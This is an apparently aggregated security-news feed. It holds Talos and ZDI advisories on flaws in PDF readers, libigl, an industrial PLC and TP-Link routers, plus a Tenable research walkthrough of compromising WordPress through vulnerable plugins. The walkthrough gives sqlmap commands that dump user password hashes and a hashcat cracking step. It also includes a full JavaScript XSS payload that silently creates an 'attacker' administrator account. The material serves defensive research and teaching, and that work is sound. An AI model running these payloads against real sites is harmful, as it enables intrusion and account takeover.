An adversary could exploit these vulnerabilities to read arbitrary memory of the process that runs when Acrobat tries to process the font. It’s possible the adversary could even view sensitive components of arbitrary memory, which they could use in follow-on attacks or the exploitation of other vulnerabilities.

TALOS-2024-1952 is the same exploit as outlined in TALOS-2023-1905, a previously disclosed vulnerability, because Adobe’s initial patch did not properly protect against all possible attack vectors.

Privilege escalation vulnerability in Foxit PDF Reader

Discovered by KPC.

Foxit PDF Reader contains a privilege escalation vulnerability that could allow an adversary to execute commands with SYSTEM-level privileges. Foxit PDF Reader is one of the most popular alternatives to Acrobat Reader available. It also supports the embedding of JavaScript, which is another possible attack vector for adversaries.

TALOS-2024-1989 (CVE-2024-29072) occurs because of improper certification of the updater executable before executing it. A low-privilege user can trigger the update action, which can result in the unexpected elevation of privilege to the SYSTEM level.

Multiple vulnerabilities in popular image-processing library

Discovered by Carl Hurd and Philippe Laulheret.

Talos recently discovered multiple vulnerabilities in libigl, a C++ open-source library used to process geometric shapes and designs. It is commonly used in various industries, from video game development to 3-D printing.

Two out-of-bounds write vulnerabilities, TALOS-2023-1879 (CVE-2023-49600) and TALOS-2024-1930 (CVE-2024-22181), could lead to a heap buffer overflow. An attacker could exploit these vulnerabilities by tricking the targeted user into opening a specially crafted file.

TALOS-2024-1928 (CVE-2024-24584 and CVE-2024-24583) can be exploited in a similar manner, but in this case, leads to an out-of-bounds read.

Two other vulnerabilities, TALOS-2024-1929 (CVE-2024-24684, CVE-2024-24685 and CVE-2024-24686) and TALOS-2023-1784 (CVE-2023-35949, CVE-2023-35952, CVE-2023-35950, CVE-2023-35953, CVE-2023-35951), can cause heap-based buffer overflow issues if the adversary supplies a specially crafted .off file. .OFF files are commonly used to share 2-D and 3-D images.

Lastly, there is another out-of-bounds write vulnerability that is caused by an improper array index validation. TALOS-2024-1926 (CVE-2024-23951, CVE-2024-23950, CVE-2024-23949, CVE-2024-23947 and CVE-2024-23948) can be triggered by a specially crafted .msh file.

Remote Code Execution vulnerabilities and more in AutomationDirect CPU

Discovered by Matt Wiseman.

Several vulnerabilities were identified in the AutomationDirect P3 line of CPU modules. The P3-550E is the most recent CPU module released in the Productivity3000 line of Programmable Automation Controllers from AutomationDirect. The device communicates remotely via ethernet, serial and USB and exposes a variety of control services, including MQTT, Modbus, ENIP and the engineering workstation protocol DirectNET.

Four of the vulnerabilities found in these PLC CPU modules received a CVSS security score of 9.8 out of 10, making them particularly notable.

TALOS-2024-1942 (CVE-2024-21785) is a leftover debug code vulnerability that allow an adversary who can communicate to the device over ModbusRTU to enable the device’s diagnostic interface without any other knowledge of the target device. There is also TALOS-2024-1943 (CVE-2024-23601) which can lead to remote code execution if the attacker sends a specially crafted file to the targeted device and TALOS-2024-1939 (CVE-2024-24963 and CVE-2024-24962) which are stack-based buffer overflows that can also lead to remote code execution if the attacker sends a specially formatted packet to the device.

TALOS-2024-1940 (CVE-2024-22187) and TALOS-2024-1941 (CVE-2024-23315) are both Write-What-Where vulnerabilities that may be triggered if an adversary sends a specially crafted packet to the targeted machine. An adversary who submits a series of properly formatted requests to exploit this vulnerability could modify arbitrary memory regions on the device, potentially resulting in arbitrary remote code execution.

A heap-based buffer vulnerability, TALOS-2024-1936 (CVE-2024-24851), also exists if an adversary sends a specially crafted packet to the targeted device. In this case, the adversary could cause the device to crash due to memory access violations.

Similarly, TALOS-2024-1937 (CVE-2024-24947 and CVE-2024-24946) can also crash the device by exploiting two different functions on the device which are vulnerable to heap-based buffer overflows.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) also released an advisory covering these vulnerabilities, as the P3 line is commonly used in U.S. critical infrastructure and ICS networks. CISA provided users with a list of possible mitigations for these vulnerabilities and other steps administrators can take to protect ICS environments. The agency also stated that organizations in the commercial facilities, critical manufacturing and information technology sectors could be affected.

WordPress : From vulnerability identification to compromising

WordPress : From vulnerability identification to compromising

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

Although, as demonstrated by the recent CVE-2024–4439 vulnerability, WordPress is not flawless, it remains an extremely robust solution, and from an attacker’s point of view, it’s much easier to find another entry point to compromise a WordPress instance.

Luckily (or not) this other vector exists and it’s WordPress plugins. With nearly 60,000 free extensions available, any one of them can represent a possible gateway to a complete compromise of your instance.

Based on our day-to-day work at Tenable Research, we will illustrate this in this article through different steps/scenarios on a real WordPress instance.

1/ Identify available WordPress plugins

When a WordPress plugin is created, developers can rely on a number of standards. Among these standards is the “Readme.txt” file, which many plugins respect.

This file can be used by an attacker to identify whether or not a plugin is available. In the knowledge that this file is most of the time available at the URL “http://WORDPRESS/wp-content/plugins/[PLUGIN SLUG]/readme.txt” using a wordlist of plugin names, an attacker can perform bruteforce to identify available plugins.

We can see here that we have two plugins installed

If you take a closer look at the second one, you’ll see that it’s installed in version 2.9.7

Note : Sometimes the stable tag is empty but you can still look at the changelog section

A quick search reveals that this plugin is vulnerable to an unauthenticated SQL injection !

Now that we’ve identified the available plugins and that one of them is vulnerable, we’ll now look at how to compromise the WordPress instance.

2/ From SQL Injection to complete compromission

First, you need to understand the vulnerability in order to understand how to exploit it. Either by

  • Downloading a vulnerable version, looking at the code and trying to reproduce the vulnerability
  • Or a public exploit is already available

In our case, the vulnerability is detailed in this article and the command to exploit it via the SQLmap tool is provided.

With SQL Injection, among the available techniques, the most common consists of extracting the users and their password hash.

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL -dump -T wp_users -C user_login,user_pass
[...]
[14:59:53] [INFO] GET parameter 'code' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[...]
GET parameter 'code' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: code (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: rest_route=/pmpro/v1/order&code=a' AND (SELECT 1804 FROM (SELECT(SLEEP(5)))jJJd) AND 'MnNj'='MnNj
[...]
Database: wasvwa
Table: wp_users
[2 entries]
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| subscriber | $P$BQG8CvNGjGGbMmr5KxN8p3BnwdgMbf0 |
| admin | $P$BUwEadKq2ID1rSD6/G4/tTf85WONEf1 |
+------------+------------------------------------+

Note : Users are usually stored in the ‘wp_users’ table, with ‘wp_’ being the basic prefix. If this is not the case, you can search for the table name/prefix by listing the columns with the following SQLmap command :

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL —-columns
[...]
[15:50:38] [INFO] retrieved: wp_pmpro_membership_ordermeta

Now that we have recovered the users and the hashes we need to find the password in clear text. We will not go into the details of this step here and simply use hashcat with a wordlist to recover the password in plain text.

The only important option to understand here is `-m 400` which translates as “hash mode 400”. The number 400 corresponds to the password hashing technique used by WordPress. In the background, WordPress uses the ‘wp_hash_password()’ function which uses the PHPass library and, in short, returns an MD5 hashed password with additional security mechanisms.

hashcat -m 400 -a 0 -o cracked.txt hash.txt wordlist.txt
[...]
cat cracked.txt
> $P$BUwEadKq2ID1rSD6/G4/tTf85WONEf1:password

To summarize, we identified the available plugins, one of them is in a version vulnerable to an unauthenticated SQL injection which we exploited to retrieve the list of available users with their hashes which we bruteforce to recover the clear password of the administrator !

The next step is therefore to authenticate, to do this, by default, the URL of the WordPress admin panel is available at the URL /wp-admin/

Except that in our case, we are redirected to a 404! If we return to the list of installed plugins, we remember that “WPS Hide Login” is installed.

WPS Hide Login is a very light plugin that lets you easily and safely change the url of the login form page to anything you want.

Once again, we will be able to use our SQL injection to find the real login URL. For this plugin, what we are looking for is stored in column ‘option_value’ of the table ‘wp_options’

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL -dump -T wp_options -C option_value --where "option_name='whl_page'"
[...]
Table: wp_options
[1 entry]
+--------------+
| option_value |
+--------------+
| hidden_login |
+--------------+

We can now access the login page and authenticate.

Once authenticated, to obtain an RCE, among the available techniques the two simplest are as follows :

  • Upload a new malicious plugin to execute code
  • Edit an existing file to insert malicious code

The second is the simplest because everything is already there by default, you just have to go to “Tools > Theme File Editor > Themes Functions” and insert a piece of PHP code allowing you to execute code.

Once saved, we can therefore execute arbitrary code on our WordPress instance

3/ From Cross-Site Scripting to complete compromission

Less direct than an SQLi, an XSS can also compromise a WordPress instance, and for this example we’ll take the WP RSS Aggregator version 4.23.8.

This plugin is vulnerable to a reflected XSS and therefore requires that the URL containing the payload be transmitted directly to the administrator.

The original request can be obtained by going to the plugin page and clicking on the “Dismiss this notification” button :

On the code side, in version below 4.23.9 of WP RSS Aggregator, this vulnerability is present due to the use of the `sprintf()` function, which is used to display the response to the user.

The notice_id value is inserted into the message without filtering allowing to insert arbitrary HTML code :

There are several XSS techniques that can be used to take control of an instance, the two most common being :

  • Add a new administrator
  • Modify page code directly to insert a webshell

The code below, for example, is used to create a new administrator :

requestURL = "/wp-admin/user-new.php";
nonceRegex = /ser" value="([^"]*?)"/g;

xhr = new XMLHttpRequest();
xhr.open("GET", requestURL, false);
xhr.send();

nonceMatch = nonceRegex.exec(xhr.responseText);
nonce = nonceMatch[1];
params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&[email protected]&pass1=password&pass2=password&role=administrator";

xhr = new XMLHttpRequest();
xhr.open("POST", requestURL, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(params);

Simply save the code to a file on a publicly accessible server, send the URL containing our payload (loading our remote script) and you’re done.

A new administrator is added :

As a side note, the plugin author has corrected the vulnerability by escaping the HTML code of Exceptions messages :

Which corrects the vulnerability :

This article shows how to identify available plugins, compromise an instance via SQL Injection while bypassing a defense mechanism that hides the login URL, and also how to create a new administrator via Cross-Site Scripting.

Obviously, this article is only an introduction and does not describe all possible cases or less likely/common scenarios, such as the possibility of creating an administrator via SQL Injection.

However, we understand that although WordPress is reputed to be robust, plugins are not necessarily so and can therefore allow your instance to be compromised. It is therefore essential to review the plugins you install, check that they are up to date and if possible enable automatic updates.


WordPress : From vulnerability identification to compromising was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

CVE-2024-5244

23 May 2024 at 14:30

This vulnerability allows network-adjacent attackers to access or spoof DDNS messages on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability. However, devices are vulnerable only if configured to use the Comexe DDNS service.

The specific flaw exists within the cmxddnsd executable. The issue results from reliance on obscurity to secure network data. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of root.

CVE-2024-5243

23 May 2024 at 14:29

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability. However, devices are vulnerable only if configured to use the Comexe DDNS service.

The specific flaw exists within the handling of DNS names. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a buffer. An attacker can leverage this vulnerability to execute code in the context of root.

CVE-2024-5242

23 May 2024 at 14:28

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability. However, devices are vulnerable only if configured to use the Comexe DDNS service.

The specific flaw exists within the handling of DDNS error codes. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root.

Cache Me If You Can: Local Privilege Escalation in Zscaler Client Connector (CVE-2023-41973)

27 May 2024 at 12:01
A couple months ago, my colleague Winston Ho and I chained a series of unfortunate bugs into a zero-interaction local privilege escalation in Zscaler Client Connector. This was an interesting journey into Windows RPC caller validation and bypassing several checks, including Authenticode verification. Check out the original Medium blogpost for Winston’s own ZSATrayManager Arbitrary File Deletion (CVE-2023-41969)!
❌
❌